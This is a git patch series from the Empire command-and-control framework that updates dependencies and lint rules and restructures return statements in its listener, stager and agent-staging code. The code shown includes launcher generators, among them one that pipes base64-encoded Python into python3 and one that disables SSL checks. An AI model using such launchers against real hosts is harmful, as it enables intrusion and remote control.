"ruff-0.5.3-py3-none-win_amd64.whl", hash = "sha256:cbaec2ddf4f78e5e9ecf5456ea0f496991358a1d883862ed0b9e947e2b6aea93"}, + {file = "ruff-0.5.3-py3-none-win_arm64.whl", hash = "sha256:05fbd2cb404775d6cd7f2ff49504e2d20e13ef95fa203bd1ab22413af70d420b"}, + {file = "ruff-0.5.3.tar.gz", hash = "sha256:2a3eb4f1841771fa5b67a56be9c2d16fd3cc88e378bd86aaeaec2f7e6bcdd0a2"}, ] [[package]] @@ -2495,18 +2517,19 @@ tests = ["coverage[toml] (>=5.0.2)", "pytest"] [[package]] name = "setuptools" -version = "70.1.1" +version = "71.0.3" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ - {file = "setuptools-70.1.1-py3-none-any.whl", hash = "sha256:a58a8fde0541dab0419750bcc521fbdf8585f6e5cb41909df3a472ef7b81ca95"}, - {file = "setuptools-70.1.1.tar.gz", hash = "sha256:937a48c7cdb7a21eb53cd7f9b59e525503aa8abaf3584c730dc5f7a5bec3a650"}, + {file = "setuptools-71.0.3-py3-none-any.whl", hash = "sha256:f501b6e6db709818dc76882582d9c516bf3b67b948864c5fa1d1624c09a49207"}, + {file = "setuptools-71.0.3.tar.gz", hash = "sha256:3d8531791a27056f4a38cd3e54084d8b1c4228ff9cf3f2d7dd075ec99f9fd70d"}, ] [package.extras] -docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -testing = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.10.0)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.1)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.text (>=3.7)", "more-itertools (>=8.8)", "ordered-set (>=3.1.1)", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (<7.4)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.10.0)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (<0.4)", "pytest-ruff (>=0.2.1)", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] [[package]] name = "simple-websocket" @@ -2816,16 +2839,17 @@ test = ["coverage", "pytest", "pytest-cov"] [[package]] name = "stone" -version = "3.3.6" +version = "3.3.7" description = "Stone is an interface description language (IDL) for APIs." optional = false python-versions = "*" files = [ - {file = "stone-3.3.6-py3-none-any.whl", hash = "sha256:f25c977936d7b5f75b9a953543257681eb19bcd7758f91b6b515f931b1bd1a66"}, - {file = "stone-3.3.6.tar.gz", hash = "sha256:7e96560bffdaf038d53ca7673cac8cabbaf824a74561564961c34237df901717"}, + {file = "stone-3.3.7-py3-none-any.whl", hash = "sha256:6de5ed29b78ea6435775230bed0847703b4726aeeee66365bf6ad3c63334361b"}, + {file = "stone-3.3.7.tar.gz", hash = "sha256:0b3c3969747aa9287ea660f88515700ab41d027e49daddd732f09858360ebfda"}, ] [package.dependencies] +packaging = ">=21.0" ply = ">=3.4" six = ">=1.12.0" @@ -3372,4 +3396,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "1e2ae87ce291ae1313d3b95e80bc18ff19954af0e290e5dea6e880c8dcf7330e" +content-hash = "d2acc72039e831149b3a4225cc50619fc01fe496a644e177185575cd65934a3d" diff --git a/pyproject.toml b/pyproject.toml index 0b68236fe..ac6c69b52 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -64,7 +64,7 @@ httpx = "^0.26.0" # For starlette TestClient black = "^24.4.2" pytest = "^8.0.1" pytest-timeout = "^2.2.0" -ruff = "^0.5.0" +ruff = "^0.5.3" pytest-cov = "^4.1.0" [build-system] @@ -108,19 +108,31 @@ target-version = "py310" extend-ignore = ["E501"] select = [ - "E", # pycodestyle - "W", # pycodestyle - "F", # pyflakes - "I", # isort - "UP", # pyupgrade - "RUF", # ruff - "B", # flake8-bugbear - "C4", # flake8-comprehensions + "F", # pyflakes + "E", # pycodestyle + "W", # pycodestyle +# "C90", # mccabe + "I", # isort + "UP", # pyupgrade +# "S", # flake8-bandit + "B", # flake8-bugbear + "C4", # flake8-comprehensions +# "PT", # flake8-pytest-style + "RET", # flake8-return + "SLF", # flake8-self "SIM", # flake8-simplify +# "TCH", # flake8-type-checking +# "ARG", # flake8-unused-arguments +# "PTH", # flake8-use-pathlib +# "ERA", # eradicate "PLC", # pylint-convention "PLE", # pylint-error "PLW", # pylint-warning "PLR", # pylint-refactor +# "TRY", # tryceratops +# "PERF", # perflint + "FURB", # refurb + "RUF", # ruff ] [tool.ruff.lint.flake8-bugbear] @@ -130,19 +142,23 @@ extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi. # client doesn't have tests and is not being actively developed, # so I don't want to spend time on code quality and unintentionally # breaking things. -"empire/client/*" = ["PLW", "PLR"] +"empire/client/*" = ["PLW", "PLR", "SLF001", "RET"] -# Each individual stager, listener, and module lacks tests, so it is not worth the +# PLR, PLW: Each individual stager, listener, and module lacks tests, so it is not worth the # risk to manually refactor them until there are tests in place for them. -"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901"] -"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915"] -"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915"] +# RET: I want to refactor these with more inverted conditions in a follow-up PR. +"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901", "RET505", "RET508"] +"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915", "RET505"] +"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "RET505"] +"empire/server/common/*" = ["RET505"] # It's hard to limit arguments on the endpoint functions. "empire/server/api/*" = ["PLR0913"] +"empire/server/listeners/http_malleable.py" = ["SLF"] + # Can't control how many fixtures are needed for the tests. -"empire/test/*" = ["PLR0913"] +"empire/test/*" = ["PLR0913", "S", "SLF"] "empire/server/modules/powershell/persistence/elevated/schtasks.py" = ["PLR2004"] "empire/server/modules/powershell/persistence/elevated/wmi.py" = ["PLR2004"] "empire/server/modules/powershell/persistence/elevated/wmi_updater.py" = ["PLR2004"] From 82f55840bb8ea0d932f0aace0294369d2a06f1da Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sun, 21 Jul 2024 17:49:45 -0700 Subject: [PATCH 21/26] manual fixes for RET in listeners/stagers (#858) --- empire/server/common/agents.py | 191 +-- empire/server/common/helpers.py | 5 +- empire/server/common/packets.py | 97 +- empire/server/listeners/dbx.py | 116 +- empire/server/listeners/http.py | 477 +++--- empire/server/listeners/http_com.py | 326 ++-- empire/server/listeners/http_foreign.py | 82 +- empire/server/listeners/http_hop.py | 180 +-- empire/server/listeners/http_malleable.py | 1361 ++++++++--------- empire/server/listeners/onedrive.py | 72 +- empire/server/listeners/port_forward_pivot.py | 502 +++--- empire/server/listeners/smb.py | 362 +++-- empire/server/listeners/template.py | 90 +- .../powershell/code_execution/invoke_ntsd.py | 72 +- .../lateral_movement/inveigh_relay.py | 31 +- .../lateral_movement/invoke_dcom.py | 12 +- .../lateral_movement/invoke_executemsbuild.py | 9 +- .../lateral_movement/invoke_psexec.py | 12 +- .../lateral_movement/invoke_psremoting.py | 2 +- .../lateral_movement/invoke_smbexec.py | 2 +- .../lateral_movement/invoke_sqloscmd.py | 34 +- .../powershell/lateral_movement/invoke_wmi.py | 8 +- .../lateral_movement/invoke_wmi_debugger.py | 25 +- .../jenkins_script_console.py | 6 +- .../new_gpo_immediate_task.py | 115 +- .../modules/powershell/management/psinject.py | 50 +- .../management/reflective_inject.py | 72 +- .../modules/powershell/management/shinject.py | 38 +- .../modules/powershell/management/spawn.py | 28 +- .../powershell/persistence/misc/debugger.py | 23 +- .../persistence/powerbreach/deaduser.py | 25 +- .../persistence/powerbreach/eventlog.py | 20 +- .../persistence/powerbreach/resolver.py | 24 +- .../persistence/userland/backdoor_lnk.py | 27 +- .../server/modules/powershell/privesc/ask.py | 52 +- .../modules/powershell/privesc/bypassuac.py | 35 +- .../powershell/privesc/bypassuac_env.py | 48 +- .../powershell/privesc/bypassuac_eventvwr.py | 37 +- .../powershell/privesc/bypassuac_fodhelper.py | 50 +- .../privesc/bypassuac_sdctlbypass.py | 50 +- .../powershell/privesc/bypassuac_wscript.py | 35 +- .../privesc/powerup/service_exe_stager.py | 12 +- .../privesc/powerup/write_dllhijacker.py | 7 +- .../host/computerdetails.py | 8 +- .../modules/python/management/multi/spawn.py | 6 +- .../python/privesc/multi/sudo_spawn.py | 14 +- .../modules/python/privesc/osx/piggyback.py | 12 +- empire/server/stagers/multi/bash.py | 11 +- empire/server/stagers/multi/generate_agent.py | 2 +- empire/server/stagers/multi/pyinstaller.py | 144 +- empire/server/stagers/multi/war.py | 37 +- empire/server/stagers/osx/applescript.py | 5 +- empire/server/stagers/osx/application.py | 23 +- empire/server/stagers/osx/ducky.py | 22 +- empire/server/stagers/osx/dylib.py | 13 +- empire/server/stagers/osx/jar.py | 6 +- empire/server/stagers/osx/macho.py | 4 +- empire/server/stagers/osx/pkg.py | 33 +- empire/server/stagers/osx/safari_launcher.py | 6 +- empire/server/stagers/osx/shellcode.py | 157 +- empire/server/stagers/osx/teensy.py | 127 +- .../stagers/windows/backdoorLnkMacro.py | 368 ++--- empire/server/stagers/windows/bunny.py | 34 +- empire/server/stagers/windows/csharp_exe.py | 2 +- empire/server/stagers/windows/dll.py | 90 +- empire/server/stagers/windows/ducky.py | 30 +- empire/server/stagers/windows/hta.py | 8 +- empire/server/stagers/windows/launcher_lnk.py | 10 +- empire/server/stagers/windows/launcher_sct.py | 46 +- empire/server/stagers/windows/launcher_vbs.py | 14 +- empire/server/stagers/windows/launcher_xml.py | 107 +- empire/server/stagers/windows/ms16-051.py | 5 +- empire/server/stagers/windows/nim.py | 63 +- pyproject.toml | 8 +- 74 files changed, 3007 insertions(+), 3230 deletions(-) diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 9f0485964..94d531f62 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -828,112 +828,114 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 message = f"Invalid PowerShell key post format from {sessionID}" log.error(message) return "ERROR: Invalid PowerShell key post format" - else: - # convert the RSA key from the stupid PowerShell export format - rsa_key = encryption.rsa_xml_to_key(message) - - if rsa_key: - message = f"Agent {sessionID} from {clientIP} posted valid PowerShell RSA key" - log.info(message) - - nonce = helpers.random_string(16, charset=string.digits) - delay = listenerOptions["DefaultDelay"]["Value"] - jitter = listenerOptions["DefaultJitter"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - workingHours = listenerOptions["WorkingHours"]["Value"] - lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - - # add the agent to the database now that it's "checked in" - agent = self.add_agent( - sessionID, - clientIP, - delay, - jitter, - profile, - killDate, - workingHours, - lostLimit, - nonce=nonce, - listener=listenerName, - db=db, - ) - client_session_key = agent.session_key - data = f"{nonce}{client_session_key}" + # convert the RSA key from the stupid PowerShell export format + rsa_key = encryption.rsa_xml_to_key(message) - data = data.encode("ascii", "ignore") + if not rsa_key: + message = ( + f"Agent {sessionID} returned an invalid PowerShell public key!" + ) + log.error(message) + return "ERROR: Invalid PowerShell public key" - # step 4 of negotiation -> server returns RSA(nonce+AESsession)) - return encryption.rsa_encrypt(rsa_key, data) - # TODO: wrap this in a routing packet! + message = ( + f"Agent {sessionID} from {clientIP} posted valid PowerShell RSA key" + ) + log.info(message) - else: - message = f"Agent {sessionID} returned an invalid PowerShell public key!" - log.error(message) - return "ERROR: Invalid PowerShell public key" + nonce = helpers.random_string(16, charset=string.digits) + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + workingHours = listenerOptions["WorkingHours"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - elif language.lower() == "python": + # add the agent to the database now that it's "checked in" + agent = self.add_agent( + sessionID, + clientIP, + delay, + jitter, + profile, + killDate, + workingHours, + lostLimit, + nonce=nonce, + listener=listenerName, + db=db, + ) + + client_session_key = agent.session_key + data = f"{nonce}{client_session_key}" + + data = data.encode("ascii", "ignore") + + # step 4 of negotiation -> server returns RSA(nonce+AESsession)) + return encryption.rsa_encrypt(rsa_key, data) + # TODO: wrap this in a routing packet! + + if language.lower() == "python": if (len(message) < 1000) or (len(message) > 2500): # noqa: PLR2004 message = f"Invalid Python key post format from {sessionID}" log.error(message) return f"Error: Invalid Python key post format from {sessionID}" - else: - try: - int(message) - except Exception: - message = f"Invalid Python key post format from {sessionID}" - log.error(message) - return message - # client posts PUBc key - clientPub = int(message) - serverPub = encryption.DiffieHellman() - serverPub.genKey(clientPub) - # serverPub.key == the negotiated session key + try: + int(message) + except Exception: + message = f"Invalid Python key post format from {sessionID}" + log.error(message) + return message - nonce = helpers.random_string(16, charset=string.digits) + # client posts PUBc key + clientPub = int(message) + serverPub = encryption.DiffieHellman() + serverPub.genKey(clientPub) + # serverPub.key == the negotiated session key - message = ( - f"Agent {sessionID} from {clientIP} posted valid Python PUB key" - ) - log.info(message) + nonce = helpers.random_string(16, charset=string.digits) - delay = listenerOptions["DefaultDelay"]["Value"] - jitter = listenerOptions["DefaultJitter"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - workingHours = listenerOptions["WorkingHours"]["Value"] - lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - - # add the agent to the database now that it's "checked in" - self.add_agent( - sessionID, - clientIP, - delay, - jitter, - profile, - killDate, - workingHours, - lostLimit, - sessionKey=serverPub.key.hex(), - nonce=nonce, - listener=listenerName, - language=language, - db=db, - ) + message = ( + f"Agent {sessionID} from {clientIP} posted valid Python PUB key" + ) + log.info(message) - # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs)) - data = f"{nonce}{serverPub.publicKey}" - return encryption.aes_encrypt_then_hmac(stagingKey, data) - # TODO: wrap this in a routing packet? + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + workingHours = listenerOptions["WorkingHours"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - else: - message = f"Agent {sessionID} from {clientIP} using an invalid language specification: {language}" - log.info(message) - return f"ERROR: invalid language: {language}" + # add the agent to the database now that it's "checked in" + self.add_agent( + sessionID, + clientIP, + delay, + jitter, + profile, + killDate, + workingHours, + lostLimit, + sessionKey=serverPub.key.hex(), + nonce=nonce, + listener=listenerName, + language=language, + db=db, + ) + + # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs)) + data = f"{nonce}{serverPub.publicKey}" + return encryption.aes_encrypt_then_hmac(stagingKey, data) + # TODO: wrap this in a routing packet? + + message = f"Agent {sessionID} from {clientIP} using an invalid language specification: {language}" + log.info(message) + return f"ERROR: invalid language: {language}" - elif meta == "STAGE2": + if meta == "STAGE2": # step 5 of negotiation -> client posts nonce+sysinfo and requests agent try: session_key = self.agents[sessionID]["sessionKey"] @@ -1056,10 +1058,11 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 return f"STAGE2: {sessionID}" - else: - message = f"Invalid staging request packet from {sessionID} at {clientIP} : {meta}" - log.error(message) - return None + message = ( + f"Invalid staging request packet from {sessionID} at {clientIP} : {meta}" + ) + log.error(message) + return None def handle_agent_data( self, diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index fbedd56f4..78ba1f99a 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -414,15 +414,14 @@ def parse_credentials(data): return None # python/collection/prompt (Mac OS) - elif b"text returned:" in parts[0]: + if b"text returned:" in parts[0]: parts2 = parts[0].split(b"text returned:") if len(parts2) >= 2: # noqa: PLR2004 password = parts2[-1] return [("plaintext", "", "", password, "", "")] return None - else: - return None + return None def parse_mimikatz(data): # noqa: PLR0912 PLR0915 diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py index f68facf06..4cb04e881 100644 --- a/empire/server/common/packets.py +++ b/empire/server/common/packets.py @@ -318,62 +318,57 @@ def parse_routing_packet(stagingKey, data): """ - if data: - results = {} - offset = 0 - # ensure we have at least the 20 bytes for a routing packet - if len(data) >= 20: # noqa: PLR2004 - while True: - if len(data) - offset < 20: # noqa: PLR2004 - break - - RC4IV = data[0 + offset : 4 + offset] - RC4data = data[4 + offset : 20 + offset] - - routingPacket = encryption.rc4( - RC4IV + stagingKey.encode("UTF-8"), RC4data - ) - try: - sessionID = routingPacket[0:8].decode("UTF-8") - except Exception: - sessionID = routingPacket[0:8].decode("latin-1") - - # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long - (language, meta, additional, length) = struct.unpack( - "=BBHL", routingPacket[8:] - ) - if length < 0: - message = "parse_agent_data(): length in decoded rc4 packet is < 0" - log.warning(message) - encData = None - else: - encData = data[(20 + offset) : (20 + offset + length)] - - results[sessionID] = ( - LANGUAGE_IDS.get(language, "NONE"), - META_IDS.get(meta, "NONE"), - ADDITIONAL_IDS.get(additional, "NONE"), - encData, - ) - - # check if we're at the end of the packet processing - remainingData = data[20 + offset + length :] - if not remainingData or remainingData == "": - break - - offset += 20 + length - return results + if not data: + message = "parse_agent_data() data is None" + log.warning(message) + return None - else: - message = f"parse_agent_data() data length incorrect: {len(data)}" - log.warning(message) - return None + results = {} + offset = 0 - else: - message = "parse_agent_data() data is None" + # ensure we have at least the 20 bytes for a routing packet + if len(data) < 20: # noqa: PLR2004 + message = f"parse_agent_data() data length incorrect: {len(data)}" log.warning(message) return None + while True: + if len(data) - offset < 20: # noqa: PLR2004 + break + + RC4IV = data[0 + offset : 4 + offset] + RC4data = data[4 + offset : 20 + offset] + + routingPacket = encryption.rc4(RC4IV + stagingKey.encode("UTF-8"), RC4data) + try: + sessionID = routingPacket[0:8].decode("UTF-8") + except Exception: + sessionID = routingPacket[0:8].decode("latin-1") + + # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long + (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) + if length < 0: + message = "parse_agent_data(): length in decoded rc4 packet is < 0" + log.warning(message) + encData = None + else: + encData = data[(20 + offset) : (20 + offset + length)] + + results[sessionID] = ( + LANGUAGE_IDS.get(language, "NONE"), + META_IDS.get(meta, "NONE"), + ADDITIONAL_IDS.get(additional, "NONE"), + encData, + ) + + # check if we're at the end of the packet processing + remainingData = data[20 + offset + length :] + if not remainingData or remainingData == "": + break + + offset += 20 + length + return results + def build_routing_packet( # noqa: PLR0913 stagingKey, sessionID, language, meta="NONE", additional="NONE", encData="" diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 0b2e22f4b..76745c1e5 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -288,11 +288,10 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + # otherwise return the case-randomized stager + return stager - elif language.startswith("py"): + if language.startswith("py"): launcherBase = "import sys;" # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;" @@ -366,8 +365,7 @@ def generate_launcher( "UTF-8" ) return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - else: - return launcherBase + return launcherBase return None def generate_stager( @@ -440,17 +438,17 @@ def generate_stager( # base64 encode the stager and return it if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8"), ) - else: - # otherwise just return the case-randomized stager - return stager - elif language.lower() == "python": + # otherwise just return the case-randomized stager + return stager + + if language.lower() == "python": template_path = [ os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), @@ -483,15 +481,14 @@ def generate_stager( return RC4IV + encryption.rc4( RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8") ) - else: - # otherwise return the standard stager - return stager - else: - log.error( - "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + # otherwise return the standard stager + return stager + + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_agent( self, @@ -549,7 +546,7 @@ def generate_agent( return code - elif language == "python": + if language == "python": if version == "ironpython": f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: @@ -588,11 +585,11 @@ def generate_agent( code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code - else: - log.error( - "[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + + log.error( + "[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -612,48 +609,47 @@ def generate_comms(self, listenerOptions, language=None): listenerOptions["ResultsFolder"]["Value"].strip("/"), ) - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] + if not language: + log.error("listeners/dbx generate_comms(): no language specified!") + return None - eng = templating.TemplateEngine(template_path) - template = eng.get_template("dropbox/comms.ps1") + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] - template_options = { - "api_token": api_token, - "tasking_folder": taskingsFolder, - "results_folder": resultsFolder, - } + eng = templating.TemplateEngine(template_path) + template = eng.get_template("dropbox/comms.ps1") - return template.render(template_options) + template_options = { + "api_token": api_token, + "tasking_folder": taskingsFolder, + "results_folder": resultsFolder, + } - elif language.lower() == "python": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - eng = templating.TemplateEngine(template_path) - template = eng.get_template("dropbox/comms.py") + return template.render(template_options) - template_options = { - "api_token": api_token, - "taskings_folder": taskingsFolder, - "results_folder": resultsFolder, - } + if language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("dropbox/comms.py") - return template.render(template_options) + template_options = { + "api_token": api_token, + "taskings_folder": taskingsFolder, + "results_folder": resultsFolder, + } - else: - log.error( - "listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None - else: - log.error("listeners/dbx generate_comms(): no language specified!") - return None + return template.render(template_options) + + log.error( + "listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def start_server(self, listenerOptions): """ diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 17d460d8b..d46fc1a94 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -374,9 +374,8 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + # otherwise return the case-randomized stager + return stager if language in ["python", "ironpython"]: # Python @@ -482,8 +481,7 @@ def generate_launcher( if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - else: - return launcherBase + return launcherBase # very basic csharp implementation if language == "csharp": @@ -514,16 +512,12 @@ def generate_launcher( f"{listenerName} csharpserver plugin not running" ) return None - else: - return compiler.do_send_stager( - stager_yaml, "Sharpire", confuse=obfuscate - ) + return compiler.do_send_stager(stager_yaml, "Sharpire", confuse=obfuscate) - else: - self.instance_log.error( - f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." - ) - return None + self.instance_log.error( + f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_stager( self, @@ -605,15 +599,14 @@ def generate_stager( # if/else statements are irrelevant if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4( RC4IV + stagingKey, stager.encode("UTF-8") ) - else: - return stager + return stager - elif language.lower() == "python": + if language.lower() == "python": template_path = [ os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), @@ -648,15 +641,13 @@ def generate_stager( return RC4IV + encryption.rc4( RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8") ) - else: - # otherwise return the standard stager - return stager + # otherwise return the standard stager + return stager - else: - log.error( - "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_agent( self, @@ -711,7 +702,7 @@ def generate_agent( code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code - elif language == "python": + if language == "python": if version == "ironpython": f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: @@ -739,14 +730,14 @@ def generate_agent( code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code - elif language == "csharp": + if language == "csharp": # currently the agent is stagless so do nothing return "" - else: - log.error( - "listeners/http generate_agent(): invalid language specification, only 'powershell', 'python', & 'csharp' are currently supported for this module." - ) - return None + + log.error( + "listeners/http generate_agent(): invalid language specification, only 'powershell', 'python', & 'csharp' are currently supported for this module." + ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -756,46 +747,45 @@ def generate_comms(self, listenerOptions, language=None): """ host = listenerOptions["Host"]["Value"] - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] + if not language: + log.error("listeners/http generate_comms(): no language specified!") + return None - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/comms.ps1") + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] - template_options = { - "session_cookie": self.session_cookie, - "host": host, - } + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/comms.ps1") - return template.render(template_options) + template_options = { + "session_cookie": self.session_cookie, + "host": host, + } - elif language.lower() == "python": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/comms.py") + return template.render(template_options) - template_options = { - "session_cookie": self.session_cookie, - "host": host, - } + if language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/comms.py") - return template.render(template_options) + template_options = { + "session_cookie": self.session_cookie, + "host": host, + } - else: - log.error( - "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None - else: - log.error("listeners/http generate_comms(): no language specified!") - return None + return template.render(template_options) + + log.error( + "listeners/http generate_comms(): invalid language specification, only 'powershell' and 